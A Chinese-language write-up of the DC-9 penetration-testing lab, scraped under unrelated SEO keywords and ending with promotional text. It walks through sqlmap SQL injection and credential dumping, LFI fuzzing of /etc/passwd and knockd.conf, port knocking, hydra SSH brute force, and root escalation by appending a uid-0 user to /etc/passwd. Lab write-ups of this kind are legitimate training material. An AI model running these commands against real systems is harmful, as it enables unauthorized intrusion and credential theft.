建站模板wordpress,南昌seo优化,wordpress更改后台登录路径,长春市长春网站建设哪家好总结
getwebshell : 发现SQL注入 → 登录系统 → 疑似文件包含 → FUZZ参数 → 文件包含读取守护程序 → 敲击打开SSH端口 → 利用泄露账号密码登录
提 权 思 路 : 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo文件发现 → 存在root权限写入功能 → pa…总结
getwebshell : 发现SQL注入 → 登录系统 → 疑似文件包含 → FUZZ参数 → 文件包含读取守护程序 → 敲击打开SSH端口 → 利用泄露账号密码登录
提 权 思 路 : 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo文件发现 → 存在root权限写入功能 → passwd覆盖提权
准备工作 启动VPN 获取攻击机IP → 192.168.45.192 启动靶机 获取目标机器IP → 192.168.178.209 信息收集-端口扫描
目标开放端口收集 Nmap开放端口扫描2次(多次扫描减少误扫) sudo nmap --min-rate 10000 -p- 192.168.178.209 PORT STATE SERVICE 22/tcp filtered ssh 80/tcp open http 开放的端口-gt;80过滤的端口-gt;22 当端口被列为“被过滤”时意味着该端口被防火墙或网络设备阻止或过滤。这可能是有意的例如用作防止未经授权访问的安全措施也可能是由于网络配置错误或连接问题而无意的。 在这种情况下端口22被过滤因此可能无法使用该端口建立到目标设备的SSH连接。
目标端口对应服务探测 # tcp探测 sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209 PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.4.38 ((Debian)) 现在22端口是关闭的
信息收集-端口测试
80-HTTP端口的信息收集
访问 http://192.168.178.209:80 看上去像CMS 随便戳了戳发现是php的 信息收集-网站指纹 ┌──(root㉿Kali)-[/home/bachang/DC-9] └─# whatweb http://192.168.178.209 http://192.168.178.209 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.178.209], Title[Example.com - Staff Details - Welcome] 漏洞利用-网站指纹(无) searchsploit Staff Details searchsploit Example.com 信息收集-HTML隐藏信息查看 # 利用html2text转换纯文本方便查看 curl http://192.168.178.209 | html2text
让我们点击其他菜单可能是提示 信息收集-目录扫描
信息收集-目录扫描初步 dirsearch -u http://192.168.178.209 -x 302,403,404 因为扫出了目录深层次的扫描待选后期可能会选择.php的后缀扫描 信息收集-目录扫描(后缀) 信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
端点访问
空白 .php可能可以fuzz 没东西 里面的按钮按了没反应也没看到什么源码 登录端点 然后还有一个我可以点击的search 功能点的实践
之前信息收集的内容还可以深入不过都待定
漏洞探测-nikto扫描
首先挂上一个扫描器 nikto -h http://192.168.178.209
回过头来看发现没什么 登录端点浅浅实践
在登录端点来一手弱口令以及万能密码发现都没用 然后因为不知道账号是啥尝试挂着跑admin账户的弱口令 漏洞利用-getwebshell
后台登录
搜索功能点实践-SQL注入
接下来尝试来到搜索功能点尝试输入一个破坏完整性 因为搜索功能点大致会并入查询语句 尝试输入了一个之后发现没什么 因为sql语句的不同体现方法也是不一样滴 先试试正常的语句 但是Julie就什么都没显示推测要注释掉后面的内容Julie -- qwe 显示了内容 极大可能是存在sql注入的使用sqlmap
POST型
在传参的地方打上* # 基础探测 sudo sqlmap -u http://192.168.178.209/results.php --data searchJulie* # 发现存在之后直接爆数据库 sudo sqlmap -u http://192.168.178.209/results.php --data searchJulie* --dbs # 爆出数据库之后爆表首页的关键词Staff先看这个) sudo sqlmap -u http://192.168.178.209/results.php --data searchJulie* -D Staff --tables # 爆字段名 sudo sqlmap -u http://192.168.178.209/results.php --data searchJulie* -D Staff -T Users --columns # 爆字段中数据 sudo sqlmap -u http://192.168.178.209/results.php --data searchJulie* -D Staff -T Users -C Username,Password --dump
基础探测存在 存在三个数据库首页的关键词Staff先看这个选择第二个 优先看Users的表 存在账号以及密码的字段 得到了帐号以及密码的信息 admin | 856f5de590ef37314e7c3bdf6f8a66dc 可以发现密码是md5加密的格式因为有32位
之后我们看看另一个表表名也挺诱惑人的 # 爆出数据库之后爆表 sudo sqlmap -u http://192.168.178.209/results.php --data searchJulie* -D users --tables # 爆字段名 sudo sqlmap -u http://192.168.178.209/results.php --data searchJulie* -D users -T UserDetails --columns # 爆整个表 sudo sqlmap -u http://192.168.178.209/results.php --data searchJulie* --dump -D users -T UserDetails
只有一个表UserDetails 太多了直接一起爆吧 爆了很多密码捏 hashcat爆破密码(失败) # 将密码输出到文件 echo 856f5de590ef37314e7c3bdf6f8a66dc gt; hash hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt
发现没爆破出来尝试在线解密 https://www.somd5.com/ 挺难受的爆破不出来解密出来的密码transorbital1
登录后台
利用获得的账号以及密码登录之后发现多了一个功能点 LFI利用
登录之后发现一个奇怪的地方登陆前底下是没有的 File does not exist gt;gt; 文件不存在
推测该功能点的php可以尝试fuzz参数
暴力破解-参数名破解FUZZ1(失败) # -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小 ffuf -u http://192.168.178.209/addrecord.php?FUZZ../../../../../../etc/passwd -w /usr/share/wordlists/dirb/common.txt -fs 0 gt; fuzz.txt
没有爆破处内容捏 curl了一下也没有内容我想起来是要带cookie才行 修改一下fuff PHPSESSID h86ph7lej727porurqhsh072vs 带上cookie之后curl就有值了 暴力破解-参数名破解FUZZ2 # -b 带cookie ffuf -u http://192.168.178.209/addrecord.php?FUZZ../../../../../../etc/passwd -w /usr/share/wordlists/dirb/common.txt -b PHPSESSIDh86ph7lej727porurqhsh072vs -fs 0 gt; fuzz.txt
从文件夹里面找到一个不一样的size 这样太不优雅了 ┌──(root㉿Kali)-[/home/bachang/DC-9] └─# cat fuzz.txt | grep -v 1757 | grep Size -A 2 -B 2 * FUZZ: framework [Status: 200, Size: 4110, Words: 95, Lines: 108, Duration: 235ms] | URL | http://192.168.178.209/addrecord.php?file../../../../../../etc/passwd * FUZZ: file
利用grep去掉1757并且筛选最后存在的上下各两行找到了file 得到一个file的参数在/home下发现了非常多的目录 联想到刚才的数据库账号密码应该都能登22端口但是22端口是过滤状态
文件包含利用
日志访问(失败)
一般利用方式是包含log的内容写shell 尝试翻阅一下是否有log日志 /var/log/auth.log # ssh登录日志 /var/log/apache2/access.log # apache访问日志
查看了一下好像都没有捏 想读.ssh来着但是ssh没开放
查看端口守护程序
因为存在过滤端口从这个角度切入 因此存在过滤端口的时候可以尝试访问一下这个文件是否存在 ../../../../../etc/knockd.conf [options] UseSyslog [openSSH] sequence 7469,8475,9842 seq_timeout 25 command /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn [closeSSH] sequence 9842,8475,7469 seq_timeout 25 command /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn 端口过滤之敲击守护程序
如果我们按照要求依次访问7469,8475,9842三个端口在25秒内那么利用端口敲击守护程序ssh端口就会打开
利用工具knock sudo apt install knockd knock 192.168.178.209 7469 8475 9842
之后访问发现ssh端口开放了 暴力破解-SSH爆破hydra
根据数据库爆出来的内容制作user.txt以及passwd.txt字典 echo marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2 gt; user.txt echo 3kfs86sfd 468sfdfsd2 4sfd87sfd1 RocksOff TCamp;TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii-Five-0 gt; passwd.txt # -L 指定账号字典 -P指定密码字典 hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 - o main
查看了对应的main文件看到了3个可用 [22][ssh] host: 192.168.178.209 login: chandlerb password: UrAG0D! [22][ssh] host: 192.168.178.209 login: joeyt password: Passw0rd [22][ssh] host: 192.168.178.209 login: janitor password: Ilovepeepee
内网遨游-getshell
3开SSH
获取账号密码之后利用SSH进行登录(3个小时到了换了个目标机) sudo ssh chandlerbspan classlabel label-primary192.168.208.209/span -p22 password gt; UrAG0D! sudo ssh joeytspan classlabel label-primary192.168.208.209/span -p22 password gt; Passw0rd sudo ssh janitorspan classlabel label-primary192.168.208.209/span -p22 password gt; Ilovepeepee 但是发现输入find都没什么用尝试查找内部的敏感信息 在janitor用户下发现了不一样的东西 发现是个文件进入 探索之后发现了新的密码文件再写一个文件利用hyrda爆破 echo BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts gt; passwd2.txt # -L 指定账号字典 -P指定密码字典 hydra -L user.txt -P passwd2.txt 192.168.208.209 ssh -s 22 -t 64 -o main
通过爆破得到了新的用户密码 [22][ssh] host: 192.168.178.209 login: fredf password: B4-Tru3-001
进行ssh连接 sudo ssh fredfspan classlabel label-primary192.168.208.209/span -p22 password gt; B4-Tru3-001
FLAG1获取
输入find命令之后发现只有fredf是可以的 fredfspan classlabel label-primarydc-9/span:~$ find / -name local.txt 2gt;/dev/null /home/fredf/local.txt fredfspan classlabel label-primarydc-9/span:~$ cat /home/fredf/local.txt 4c30c90388a4b5baa8bf21db8529bb51 权限提升
Linux提权-sudo提权
查找具有sudo权限且不需要密码的可提权文件 # 利用sudo -l寻找 fredfspan classlabel label-primarydc-9/span:~$ sudo -l Matching Defaults entries for fredf on dc-9: env_reset, mail_badpass, secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test
只有fredf用户是存在sudo 追踪一下这个文件 # 权限查看 (读与执行) fredfspan classlabel label-primarydc-9/span:~$ ls -al /opt/devstuff/dist/test/test -rwxr-xr-x 1 root root 1212968 Dec 29 2019 /opt/devstuff/dist/test/test # 查看内容发现看不了 fredfspan classlabel label-primarydc-9/span:~$ cat /opt/devstuff/dist/test/test 尝试运行 fredfspan classlabel label-primarydc-9/span:$ cd /opt/devstuff/dist/test fredfspan classlabel label-primarydc-9/span:/opt/devstuff/dist/test$ ./test Usage: python test.py read append fredfspan classlabel label-primarydc-9/span:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test Usage: python test.py read append
读不了显示是读test.py 说明使用test应该是需要参数的 # 全局搜索 fredfspan classlabel label-primarydc-9/span:/opt/devstuff/dist/test$ find / -name test.py 2gt;/dev/null /opt/devstuff/test.py /usr/lib/python3/dist-packages/setuptools/command/test.py
发现了两个应该是上面那个 cat /opt/devstuff/test.py
如果传递的参数不等于3就会输出Usage: python test.py read append
不然会读取输入第一个参数内的文件追加写入到第二个参数 #!/usr/bin/python import sys if len (sys.argv) ! 3 : print (Usage: python test.py read append) sys.exit (1) else : f open(sys.argv[1], r) output (f.read()) f open(sys.argv[2], a) f.write(output) f.close() /etc/passwd覆盖提权
既然是这样的话那我可以自己写一个root权限的用户进行追加覆盖
覆盖掉root的密码 # Kali机器使用openssl生成密码 -l指定生成密码 ┌──(root㉿Kali)-[/home/bachang/DC-9] └─# sudo openssl passwd Password: YaoRuo Verifying - Password: YaoRuo $1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.
目标机器上覆盖 # 制作root权限用户 root:x:0:0:root:/root:/bin/bash YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash # 写入到可写文件夹中 fredfspan classlabel label-primarydc-9/span:/opt/devstuff/dist/test$ echo YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash gt; /tmp/passwd.txt # 进行覆盖 fredfspan classlabel label-primarydc-9/span:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd # 权限提升 fredfspan classlabel label-primarydc-9/span:/opt/devstuff/dist/test$ su YaoRuo Password: RaoYuo rootspan classlabel label-primarydc-9/span:/opt/devstuff/dist/test# id uid0(root) gid0(root) groups0(root)
提权成功 FLAG2获取 rootspan classlabel label-primarydc-9/span:/opt/devstuff/dist/test# cat /root/proof.txt e67eaee361edc9e35fc8cfe0b1ea7bd7
完结撒花~ 总结
filtered过滤端口也是值得探索的内容 可能存在端口敲击守护程序/etc/knockd.conf
传参进行fuzz的时候还是要多试顺便一提的是登录要记得带上cookie
端口敲击守护程序
这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。 端口扫描也是威胁 Web 安全的一种方式服务器主机关闭不必要的端口对这一攻击有一定的作用但是对于必须开启的端口还是存在着安全隐患为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。 “服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手一定时间间隔发送一定序列的UDP 或 TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为
除了使用直接利用本地安装的knockd工具之外也可以用其他方法进行端口敲击就是有时间限制。
例如 nmap -p[端口] [ip] nc [ip] [端口] 申明本账号所分享内容仅用于网络安全技术讨论切勿用于违法途径所有渗透都需获取授权违者后果自行承担与本号及作者无关请谨记守法。
免费领取安全学习资料包
渗透工具 技术文档、书籍 面试题
帮助你在面试中脱颖而出 视频
基础到进阶
环境搭建、HTMLPHPMySQL基础学习信息收集SQL注入,XSSCSRF暴力破解等等 应急响应笔记 学习路线